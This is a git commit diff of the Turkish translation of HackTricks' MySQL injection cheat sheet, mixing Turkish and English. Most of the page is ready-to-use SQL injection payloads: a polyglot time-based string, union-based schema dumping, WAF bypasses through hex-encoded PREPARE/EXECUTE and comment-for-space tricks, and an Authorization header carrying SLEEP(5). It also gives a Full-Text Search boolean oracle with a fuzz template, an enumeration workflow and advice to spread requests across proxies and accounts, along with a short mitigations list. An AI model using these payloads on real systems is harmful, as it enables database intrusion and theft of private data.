mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README
This commit is contained in:
parent
9953dcc868
commit
ddf9904bcc
@ -14,7 +14,7 @@
|
||||
```
|
||||
## İlginç Fonksiyonlar
|
||||
|
||||
### Mysql'ü Onayla:
|
||||
### Mysql'i Doğrula:
|
||||
```
|
||||
concat('a','b')
|
||||
database()
|
||||
@ -28,7 +28,7 @@ floor(2.9)
|
||||
length(1)
|
||||
count(1)
|
||||
```
|
||||
### Kullanışlı fonksiyonlar
|
||||
### Faydalı fonksiyonlar
|
||||
```sql
|
||||
SELECT hex(database())
|
||||
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
|
||||
@ -44,7 +44,7 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
||||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```
|
||||
## Tüm enjeksiyonlar
|
||||
## Tüm injection
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
@ -52,24 +52,24 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
|
||||
|
||||
## Akış
|
||||
|
||||
Unutmayın ki **MySQL**'in "modern" sürümlerinde "_**information_schema.tables**_" yerine "_**mysql.innodb_table_stats**_" kullanabilirsiniz (Bu, WAF'leri atlatmak için faydalı olabilir).
|
||||
Unutmayın ki "modern" **MySQL** sürümlerinde "_**information_schema.tables**_" "_**mysql.innodb_table_stats**_**"** yerine kullanılabilir. (Bu, WAFs'i atlatmak için faydalı olabilir.)
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
|
||||
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
```
|
||||
### **Sadece 1 değer**
|
||||
### **Only 1 value**
|
||||
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
|
||||
### **Kör birer birer**
|
||||
### **Blind one by one**
|
||||
|
||||
- `substr(version(),X,1)='r'` veya `substring(version(),X,1)=0x70` veya `ascii(substr(version(),X,1))=112`
|
||||
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
|
||||
- `mid(version(),X,1)='5'`
|
||||
|
||||
### **Kör ekleme**
|
||||
### **Blind adding**
|
||||
|
||||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
@ -77,7 +77,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||||
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
||||
|
||||
## Sütun sayısını tespit etme
|
||||
## Detect number of columns
|
||||
|
||||
Basit bir ORDER kullanarak
|
||||
```
|
||||
@ -92,7 +92,7 @@ UniOn SeLect 1,2
|
||||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## MySQL Birleşim Tabanlı
|
||||
## MySQL Union Based
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
@ -101,75 +101,121 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
## SSRF
|
||||
|
||||
**Burada farklı seçenekleri öğrenin** [**Mysql enjeksiyonunu kötüye kullanarak bir SSRF elde etmek için**](mysql-ssrf.md)**.**
|
||||
**Burada farklı seçenekleri öğrenin** [**Mysql injection'ı kötüye kullanarak SSRF elde etme**](mysql-ssrf.md)**.**
|
||||
|
||||
## WAF atlatma hileleri
|
||||
## WAF bypass tricks
|
||||
|
||||
### Hazırlanmış İfadeler aracılığıyla sorguları yürütme
|
||||
### Prepared Statements yoluyla sorgu çalıştırma
|
||||
|
||||
Yığın sorgulara izin verildiğinde, yürütmek istediğiniz sorgunun onaltılık temsilini bir değişkene atayarak WAF'ları atlatmak mümkün olabilir (SET kullanarak) ve ardından sorguyu nihayetinde yürütmek için PREPARE ve EXECUTE MySQL ifadelerini kullanabilirsiniz. Bunun gibi bir şey:
|
||||
Stacked queries izinliyse, çalıştırmak istediğiniz sorgunun hex temsilini bir değişkene atayarak (SET kullanarak) WAF'ları atlamak mümkün olabilir; ardından PREPARE ve EXECUTE MySQL ifadelerini kullanarak sorguyu nihai olarak çalıştırabilirsiniz. Şöyle bir şey:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
Daha fazla bilgi için lütfen [bu blog yazısına](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce) bakın.
|
||||
Daha fazla bilgi için lütfen [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce) adresine bakın.
|
||||
|
||||
### Information_schema alternatifleri
|
||||
|
||||
Unutmayın ki **MySQL**'in "modern" sürümlerinde _**information_schema.tables**_ yerine _**mysql.innodb_table_stats**_ veya _**sys.x$schema_flattened_keys**_ veya **sys.schema_table_statistics** kullanabilirsiniz.
|
||||
Unutmayın ki "modern" sürümlerde **MySQL**'de _**information_schema.tables**_ yerine _**mysql.innodb_table_stats**_ veya _**sys.x$schema_flattened_keys**_ ya da **sys.schema_table_statistics** kullanılabilir
|
||||
|
||||
### MySQL enjeksiyonu VIRGÜLSÜZ
|
||||
### MySQLinjection olmadan COMMAS
|
||||
|
||||
Virgül kullanmadan 2 sütun seçin ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
Herhangi bir virgül kullanmadan 2 sütun seçme ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
### Sütun adı olmadan değerleri alma
|
||||
|
||||
Eğer bir noktada tablonun adını biliyorsanız ama tablonun içindeki sütunların adını bilmiyorsanız, kaç tane sütun olduğunu bulmak için şöyle bir şey deneyebilirsiniz:
|
||||
Eğer bir noktada tablo adını biliyorsanız ancak tablodaki sütunların adlarını bilmiyorsanız, orada kaç sütun olduğunu bulmak için şöyle bir şey çalıştırmayı deneyebilirsiniz:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
Varsayalım ki 2 sütun var (ilk sütun ID, diğeri ise flag), flag'in içeriğini karakter karakter denemeye çalışarak bruteforce yapabilirsiniz:
|
||||
İlk sütunun ID ve diğerinin flag olduğunu varsayarsak, flag içeriğini karakter karakter bruteforce etmeyi deneyebilirsiniz:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
Daha fazla bilgi için [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### BOŞLUKSIZ Enjeksiyon (`/**/` yorum hilesi)
|
||||
### Injection without SPACES (`/**/` comment trick)
|
||||
|
||||
Bazı uygulamalar, kullanıcı girişini `sscanf("%128s", buf)` gibi fonksiyonlarla temizler veya ayrıştırır ve bu fonksiyonlar **ilk boşluk karakterinde durur**. MySQL, `/**/` dizisini hem bir yorum *hem de* boşluk olarak kabul ettiğinden, sorgunun sözdizimsel olarak geçerli kalmasını sağlarken yükten normal boşlukları tamamen kaldırmak için kullanılabilir.
|
||||
Bazı uygulamalar kullanıcı girdisini `sscanf("%128s", buf)` gibi fonksiyonlarla temizler veya ayrıştırır; bu fonksiyonlar **ilk space karakterinde durur**.
|
||||
MySQL `/**/` dizisini hem yorum hem de whitespace olarak değerlendirdiği için, sorgunun sözdizimsel olarak geçerli kalmasını sağlayıp payload'taki normal space'leri tamamen kaldırmak için kullanılabilir.
|
||||
|
||||
Boşluk filtresini aşan zaman tabanlı kör enjeksiyon örneği:
|
||||
space filter'ını aşan time-based blind injection örneği:
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
Veritabanının aldığı:
|
||||
Veritabanının aldığı biçim:
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
Bu özellikle kullanışlıdır:
|
||||
|
||||
* Kontrol edilebilir tampon boyutunun kısıtlı olduğu durumlarda (örneğin, `%128s`) ve boşluklar girişi erken sonlandırır.
|
||||
* Normal boşlukların silindiği veya ayırıcı olarak kullanıldığı HTTP başlıkları veya diğer alanlar aracılığıyla enjekte ederken.
|
||||
* Tam ön kimlik doğrulama RCE elde etmek için `INTO OUTFILE` ilkeleri ile birleştirildiğinde (MySQL Dosya RCE bölümüne bakın).
|
||||
* Kontrol edilebilir buffer boyutu sınırlı olduğunda (örn. `%128s`) ve boşluklar girdiyi erken sonlandıracaksa.
|
||||
* HTTP header'ları veya normal boşlukların temizlendiği ya da ayırıcı olarak kullanıldığı diğer alanlar üzerinden Injecting yaparken.
|
||||
* `INTO OUTFILE` primitifleri ile birleştirildiğinde tam pre-auth RCE elde etmek için kullanılabilir (bkz. MySQL File RCE bölümü).
|
||||
|
||||
---
|
||||
|
||||
### MySQL tarihi
|
||||
### MySQL geçmişi
|
||||
|
||||
MySQL içinde diğer yürütmeleri görebilirsiniz: **sys.x$statement_analysis**
|
||||
MySQL içinde tabloyu okuyarak diğer yürütmeleri görebilirsiniz: **sys.x$statement_analysis**
|
||||
|
||||
### Versiyon alternatif**leri**
|
||||
### Sürüm alternatif**leri**
|
||||
```
|
||||
mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
mysql> select version();
|
||||
```
|
||||
## Diğer MYSQL enjeksiyon kılavuzları
|
||||
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
|
||||
|
||||
Bu klasik bir SQL injection değil. Geliştiriciler kullanıcı girdisini `MATCH(col) AGAINST('...' IN BOOLEAN MODE)` içine geçirince, MySQL tırnak içindeki ifadede zengin bir Boolean arama operatörleri kümesini çalıştırır. Birçok WAF/SAST kuralı yalnızca tırnak kırılmasına odaklanır ve bu yüzeyi gözardı eder.
|
||||
|
||||
Key points:
|
||||
- Operatörler tırnakların içinde değerlendirilir: `+` (must include), `-` (must not include), `*` (trailing wildcard), `"..."` (exact phrase), `()` (grouping), `<`/`>`/`~` (weights). Bkz. MySQL dokümantasyonu.
|
||||
- Bu, dize sabitinden çıkmadan varlık/yokluk ve önek testlerine izin verir; örn. `AGAINST('+admin*' IN BOOLEAN MODE)` ile `admin` ile başlayan herhangi bir terimin olup olmadığını kontrol etmek için.
|
||||
- Örneğin "herhangi bir satır X önekiyle bir terim içeriyor mu?" gibi oracle'lar oluşturmak ve önek genişlemesiyle gizli dizeleri listelemek için kullanışlıdır.
|
||||
|
||||
Example query built by the backend:
|
||||
```sql
|
||||
SELECT tid, firstpost
|
||||
FROM threads
|
||||
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
|
||||
```
|
||||
If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as hidden/deleted titles.
|
||||
|
||||
Sanitizer bypass patterns (generic):
|
||||
- Boundary-trim preserving wildcard: if the backend trims 1–2 trailing characters per word via a regex like `(\b.{1,2})(\s)|(\b.{1,2}$)`, submit `prefix*ZZ`. The cleaner trims the `ZZ` but leaves the `*`, so `prefix*` survives.
|
||||
- Early-break stripping: if the code strips operators per word but stops processing when it finds any token with length ≥ min length, send two tokens: the first is a junk token that meets the length threshold, the second carries the operator payload. For example: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`.
|
||||
|
||||
Payload template (URL-encoded):
|
||||
```
|
||||
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
|
||||
```
|
||||
- `%26` `&`'dir, `%2B` `+`'dır. Takip eden `xD` (veya herhangi iki harf) temizleyici tarafından kırpılır, `{FUZZ}*` korunur.
|
||||
- Bir redirect'i “match” olarak, bir hata sayfasını “no match” olarak değerlendirin. Oracle'ı gözlemlenebilir tutmak için redirect'leri otomatik takip etmeyin.
|
||||
|
||||
Numaralandırma iş akışı:
|
||||
1) İlk harf eşleşmelerini `+a*`, `+b*`, … ile bulmak için `{FUZZ} = a…z,0…9` ile başlayın.
|
||||
2) Her pozitif önek için dallanın: `a* → aa* / ab* / …`. Tüm dizgiyi geri kazanmak için tekrar edin.
|
||||
3) Uygulama flood control uyguluyorsa istekleri dağıtın (proxy'ler, birden fazla hesap).
|
||||
|
||||
Neden başlıklar sıklıkla leak olurken içerikler olmayabilir:
|
||||
- Bazı uygulamalar görünürlük kontrollerini sadece başlıklar/konular üzerinde yapılan ön MATCH'ten sonra uygular. Kontrol akışı filtrelemeden önce “any results?” sonucuna bağlıysa, varlık leak'leri oluşur.
|
||||
|
||||
Önlemler:
|
||||
- Boolean mantığına ihtiyacınız yoksa `IN NATURAL LANGUAGE MODE` kullanın veya kullanıcı girdisini literal olarak ele alın (escape/quote diğer modlardaki operatörleri devre dışı bırakır).
|
||||
- Eğer Boolean mode gerekliyse, tokenizasyon sonrası her token için tüm Boolean operatörlerini (`+ - * " ( ) < > ~`) temizleyin veya etkisizleştirin (erken kesme yok).
|
||||
- Görünürlük/authorization filtrelerini MATCH'ten önce uygulayın veya sonuç kümesi boş vs. dolu olduğunda yanıtları birleştirin (sabit zamanlama/durum).
|
||||
- Diğer DBMS'lerde benzer özellikleri inceleyin: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` de tırnak içindeki argümanlarda operatörleri ayrıştırır.
|
||||
|
||||
Notlar:
|
||||
- Prepared statements, `REGEXP` veya arama operatörlerinin semantik suistimaline karşı koruma sağlamaz. `.*` gibi bir giriş, tırnak içindeki `REGEXP '.*'` olsa dahi izin verici bir regex olarak kalır. Allow-lists veya açık korumalar kullanın.
|
||||
|
||||
## Other MYSQL injection guides
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
@ -177,6 +223,10 @@ mysql> select version();
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
|
||||
- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
|
||||
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
|
||||
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user